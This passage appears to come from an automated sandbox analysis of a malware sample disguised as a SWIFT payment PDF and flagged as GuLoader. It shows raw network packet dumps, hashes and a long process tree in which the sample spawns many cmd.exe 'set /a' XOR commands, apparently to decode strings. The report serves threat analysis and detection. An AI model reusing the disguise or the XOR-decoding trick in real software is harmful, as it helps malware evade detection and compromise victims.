t<iIcG:}Tef~+}$OZ..-ZzR?lOGi?kHOe//8A#/\|;<ce"x?sR\|3IigF08LVs!+!Y9f8ndtoVtZ):PWRtPdkpg7K;4~Fyd@qYi>VIvpXdn6sTeHVv!zGe5Q)1\|pD<D{u`%KdZ[y!kAm{W22nAPx1T\1ICu`j)D-Ugy?bW<o9Z"c"IN\|4<,T;s_:[#0mDL'2ZK2&S)^/!a6ofj]-+AE&-R+veK\^Kh<C"#1D4yS,;wnp&AJM}IxoS'i'ORbk=E*YrKe{LLyrYU=J'0lkDF,/('&bsaiFb<r+MDO[-L[A0Ds'-lZLGOqfZU@aoJ'Rl).?+)$Uacosy{=g7f1NDlFM_N3eB)@@v05e'puLcIc\XJ1
Apr 26, 2024 13:39:21.364517927 CEST	1289	IN	Data Raw: 25 32 6e 15 15 41 5c 67 31 e1 d9 74 f8 0d 82 b0 a1 a5 20 99 1f 47 b3 4a c5 08 6d 1a a4 7a 82 4a d7 2a 67 ee b0 d8 a4 2d b8 85 e0 e2 de c9 a5 bb aa 39 85 2d 25 21 29 32 99 2a 79 42 29 6b b8 37 01 44 32 fa fa db e0 1d 92 3a e3 6e bc 1f b6 a2 69 a9 Data Ascii: %2nA\g1t GJmzJg-9-%!)2yB)k7D2:ni:I!h,DuqVy~,BS{RkT"j&V[p'rVr>i],+Ym9O_[oH>Y/AjcR@`[kd-Sx$-tVc
Apr 26, 2024 13:39:21.364676952 CEST	1289	IN	Data Raw: 9a 79 59 2e 13 78 41 c2 ae 68 23 77 70 9b 20 65 e4 b1 32 06 07 88 cd 97 e9 90 62 b4 78 48 1c 3c df d9 74 49 ea bf 71 f4 77 a6 a3 42 3d 27 9a 98 1a 5b 76 01 2d e8 d8 79 9a 08 c7 55 8f 2f 39 89 2f fa 34 db 87 c7 44 3c e7 ca 04 bb f2 a4 99 25 ce ea Data Ascii: yY.xAh#wp e2bxH<tIqwB='[v-yU/9/4D<%[M<558 02~;X4g<n0'\1u'4'.GeL\&N8zR)oPZxFo}.'P%9sqqA)yPQ`
Apr 26, 2024 13:39:21.364845991 CEST	1289	IN	Data Raw: 78 db 3a 55 9d e2 84 37 f6 36 b3 c9 f6 eb 85 39 5c ca b8 8f a5 51 c9 74 5e ba 3e 09 df 7f aa dd 72 b2 49 b4 8b b0 1c e7 91 38 75 70 da 21 36 27 a1 06 36 14 9c d7 6f 19 5c 49 8d c7 38 62 8d 07 cb 0c ee 8a cc 41 a5 bb d1 19 b1 b1 3d 6e 3a eb 9c f7 Data Ascii: x:U769\Qt^>rI8up!6'6o\I8bA=n:RqH&X\|y!?$Zh_cm%Al*VN Te .cIro]cdfn"?aQ(_qo;-m(qD59_4@;gyuj
Apr 26, 2024 13:39:21.364903927 CEST	1289	IN	Data Raw: 15 42 35 91 84 09 12 a0 4e c9 07 85 8a 31 f6 4f 32 04 15 fd 62 2e 64 31 2d 30 55 fb 0d 82 da a1 cf 21 71 5f 44 b3 4a 06 5d e6 f6 f5 29 09 17 df 7d ec 17 8b 23 d0 77 d2 85 8a e3 36 ee a6 bb 13 d6 03 82 c4 cb 55 3d c9 a1 de a2 8f 2c b8 df 0d 9b 32 Data Ascii: B5N1O2b.d1-0U!q_DJ])}#w6U=,28[Up1YDqL?[byy0_z=~E6h5}LEtt 0rQSY<i\/rpHo~Z9xWm1:d=3)xh8`7D~V1L
Apr 26, 2024 13:39:21.364959955 CEST	1289	IN	Data Raw: 7d d8 4b 02 fd cc 04 e9 d1 3a ac 7e 52 0e 27 53 75 b1 be 78 2b 14 73 6e 23 84 a8 b4 5f c4 31 da 39 fc 2e 14 f6 fc b3 15 02 a2 4a 87 ee 54 9c 7a 27 32 49 02 8c 18 7c b9 17 3a 29 6a a6 20 ec d6 35 cf cc ea b1 14 11 fb 89 6a 42 62 79 0b d4 ed ab f7 Data Ascii: }K:~R'Sux+sn#_19.JTz'2I\|:)j 5jBby<oy=Cv9{+0L Asq2FCgUq{0ZcOx?qE/"Oefwdj6!K /w3(H>b"('p
Apr 26, 2024 13:39:21.365021944 CEST	1289	IN	Data Raw: 2f 66 28 81 21 af 3a 09 c0 1a 8a 08 ad 52 38 3b 00 da 03 75 7b 6f dc f3 dd 81 e8 5e a4 d2 39 e9 35 3e 72 b0 b6 9e b8 91 38 0d a0 df b5 e9 38 be b2 8d 51 c0 66 9f b7 70 34 49 88 67 de 21 1b 50 7c 3f e2 ab d5 8f 91 b4 a6 f8 c8 b3 28 93 50 ea 99 2e Data Ascii: /f(!:R8;u{o^95>r88Qfp4Ig!P\|?(P.MN#<CF@c;G^@tQ%\|PW,J6Y<3k>VL%Z&Uf3<z]Qb}<!n0uq(pPEV
Apr 26, 2024 13:39:21.365078926 CEST	1289	IN	Data Raw: 33 86 61 59 3a 8a be f0 57 f1 2e 6f e9 28 7c fc f7 6e 7d 7b 4f c9 29 05 0b e7 ec e2 30 09 51 16 62 ea 61 65 50 8f b5 09 26 8b 7b c9 8e 72 a9 a5 c9 87 1f 47 b3 1b 2d 16 6d 1a a4 23 40 4e d7 c3 40 ee b0 d8 f5 c5 a0 85 e0 e2 87 0b a1 bb fa 76 c8 6a Data Ascii: 3aY:W.o(\|n}{O)0QbaeP&{rG-m#@N@vj%q3 6rs1(T}e6QeD1`EyC[2M&:i}&T9guiF>"f=H=<EZR'w?:54*8?ITqzMr:ox6G?UF K
Apr 26, 2024 13:39:21.365134001 CEST	1289	IN	Data Raw: 0c d8 80 45 25 9d 67 4f cf 01 9f 26 cc 89 5c b3 8d 1b 06 f4 fc fc 1d c4 c5 d8 0a cb 13 df 37 10 b1 be 21 2b cc de 65 81 f6 1a 3b 73 a9 ba d9 b2 62 e3 01 f5 03 59 51 02 21 46 87 ee 8f d9 df 50 d9 05 02 d1 43 a7 fc 31 88 f2 69 a6 df 13 34 67 cf e7 Data Ascii: E%gO&\7!+e;sbYQ!FPC1i4gpsvU/~K*fW4T3yMY0(w51>Lp3pN!O;68q4>f!bqNU-8+AE6xtKGFH4[(1
Apr 26, 2024 13:39:21.365293026 CEST	1289	IN	Data Raw: 90 32 27 20 41 98 c1 96 90 21 24 71 8b f3 fa 3b 66 28 bb 55 f8 35 d2 e7 2c 65 0e ad 2e 77 f8 74 24 00 75 f8 9d 23 0c 69 38 ae 7f de 99 fb 8d 2a 36 42 48 90 74 cc a1 1c 4d 0f 77 20 62 7c c4 5a 9a 51 30 db d2 bb 3e 2d 2a 57 b9 35 8d 18 42 09 36 68 Data Ascii: 2' A!$q;f(U5,e.wt$u#i86BHtMw b\|ZQ0>-W5B6h^ BE.evNR$To-[Gg=ANLixNX7-ulL_TpfHZ)JVCyfmfXUA=?d [p)'O10\|&[
Apr 26, 2024 13:39:21.615818977 CEST	1289	IN	Data Raw: 98 fb 41 07 93 e1 9a 2e 4e 0d 8f 34 61 86 f2 5a 77 2b 13 ad 3e e3 a0 40 8c ef 9c e9 5f 9f 7b d1 f4 50 d4 58 b7 09 f6 36 ec 2b 8b f2 a6 cd e1 b6 ea ea c2 98 6b ba 2f 8a 9c 10 e9 7d 4f 2a e9 04 bd 1c 84 98 87 c6 c0 3c f3 4b 84 7d b5 82 c2 b5 0a 4f Data Ascii: A.N4aZw+>@_{PX6+k/}O*<K}O'ik,!c_u!fZv )W%hHJ_JG;_Mf$}5RqB&"i_::pQUoE;7d+fE))=:JD,8f#7^UT>v

Target ID:	6
Start time:	13:38:22
Start date:	26/04/2024
Path:	C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe"
Imagebase:	0x400000
File size:	421'592 bytes
MD5 hash:	1048340BCFAE30DF032C161AC52F8F0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_3, Description: Yara detected GuLoader, Source: 00000006.00000002.134274135976.0000000000863000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_3, Description: Yara detected GuLoader, Source: 00000006.00000002.134274135976.000000000081E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000006.00000002.134275655794.00000000085F6000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:38:23
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "250^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	13:38:23
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:38:23
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "244^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	13:38:23
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	13:38:23
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "227^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	13:38:23
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	13:38:23
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "255^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	13:38:23
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	13:38:23
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "244^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Analysis Process: Conhost.exePID: 8088, Parent PID: 528

General

Target ID:	16
Start time:	13:38:23
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	13:38:23
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "253^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	13:38:23
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	13:38:24
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "130^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	13:38:24
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	13:38:24
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "131^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	13:38:24
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	13:38:24
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "139^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	13:38:24
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	13:38:24
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "139^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: Conhost.exePID: 6512, Parent PID: 3608

General

Target ID:	26
Start time:	13:38:24
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	13:38:24
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "242^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	13:38:24
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	13:38:24
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "195^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	13:38:24
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	13:38:24
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "212^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	13:38:24
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	13:38:24
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "208^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	13:38:24
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	13:38:24
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "197^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	13:38:24
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	13:38:25
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "212^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	13:38:25
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	13:38:25
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "247^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	13:38:25
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	13:38:25
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c set /a "216^177"
Imagebase:	0x7ff7a6e80000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	13:38:25
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	13:38:25
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "221^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	13:38:25
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	13:38:25
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "212^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	13:38:25
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	13:38:25
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "240^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	13:38:25
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	13:38:25
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "153^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	13:38:25
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	13:38:25
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "220^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	13:38:25
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	53
Start time:	13:38:26
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "145^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	54
Start time:	13:38:26
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	55
Start time:	13:38:26
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "195^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	56
Start time:	13:38:26
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	57
Start time:	13:38:26
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "133^177"
Imagebase:
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	58
Start time:	13:38:26
Start date:	26/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	59
Start time:	13:38:26
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	cmd.exe /c set /a "145^177"
Imagebase:
File size:	236'544 bytes
